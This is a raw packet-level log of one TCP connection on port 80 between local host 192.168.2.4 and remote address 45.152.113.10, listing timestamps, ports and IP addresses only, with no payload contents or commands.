Sep 11, 2024 22:52:03.027626991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027640104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027662039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027673960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.027693987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.027729034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.110379934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110445976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110498905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110529900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110579967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110613108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110665083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110696077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110744953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110776901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110830069 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110845089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.110845089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.110845089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.110845089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.110845089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.110846043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.110899925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.110965967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111015081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111033916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111033916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111047983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111095905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111130953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111172915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111206055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111238003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111278057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111278057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111278057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111278057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111288071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111308098 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111336946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111350060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111371040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111424923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111449003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111449003 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111463070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111512899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111543894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111577034 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111624956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111656904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111689091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111721039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111773014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111798048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111804962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111855030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111855030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111876965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111886978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111920118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111918926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111942053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.111952066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111984015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.111990929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112010002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112016916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112039089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112051010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112076044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112098932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112099886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112134933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112155914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112183094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112193108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112231970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112237930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112262964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112289906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112312078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112313032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112360001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112365961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112392902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112417936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112426996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112459898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112459898 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112482071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112493992 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112521887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112538099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112541914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112571001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112593889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112620115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112624884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112653017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112682104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112687111 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112706900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112719059 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112751007 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112766027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112766981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112782955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112806082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112819910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112843037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112853050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112886906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112890005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112907887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112921000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112952948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.112957001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112977982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.112984896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113008976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113017082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113038063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113049984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113071918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113081932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113114119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113116026 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113133907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113146067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113167048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113177061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113195896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113209963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113234043 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113243103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113270044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113274097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113291025 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113306046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113328934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113338947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113365889 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113368988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113392115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113400936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113426924 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113434076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113468885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113470078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113501072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113508940 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113533020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113538027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113557100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113565922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113585949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113596916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113624096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113632917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113656998 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113661051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113686085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113692999 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113715887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113725901 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113754988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113775969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113778114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113826036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113830090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113873005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113882065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113905907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113926888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113938093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113960981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.113972902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.113996983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.114005089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.114027977 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.114037991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.114070892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.114073992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.114110947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.114129066 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.114337921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.114393950 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.115694046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.115761995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.115793943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.115843058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.115849018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.115895033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.115902901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.115943909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.115950108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.115977049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.115998030 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116009951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.116031885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116043091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.116060972 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116075039 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.116097927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116107941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.116127014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116138935 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.116161108 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116173029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.116194963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116204977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.116228104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116240025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.116269112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.116272926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116303921 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.116324902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198056936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198077917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198092937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198107004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198121071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198152065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198175907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198189974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198231936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198265076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198296070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198344946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198376894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198409081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198414087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198414087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198414087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198414087 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198441982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198494911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198494911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198496103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198494911 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198530912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198560953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198591948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198640108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198661089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198661089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198661089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198672056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198690891 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198719978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198721886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198751926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198780060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198785067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198822021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198833942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198860884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198868036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198894024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198901892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198935986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198950052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.198959112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.198983908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199016094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199032068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199054956 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199064970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199095964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199115038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199121952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199146032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199173927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199197054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199210882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199229956 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199260950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199263096 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199292898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199305058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199325085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199328899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199357986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199363947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199421883 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199423075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199423075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199457884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199486971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199491024 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199522972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199525118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199553967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199554920 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199588060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199592113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199625969 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199626923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199657917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199659109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199691057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199693918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199723959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199732065 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199753046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199754953 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199784994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199788094 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199820042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199821949 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199851036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199851990 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199878931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199884892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199917078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199918985 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199950933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.199953079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199974060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.199984074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.200001001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.200043917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.200763941 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.200829983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.200913906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.200973034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.201112986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.201145887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.201176882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:03.201179028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:03.201211929 CEST	80	49733	45.152.113.10	192.168.2.4
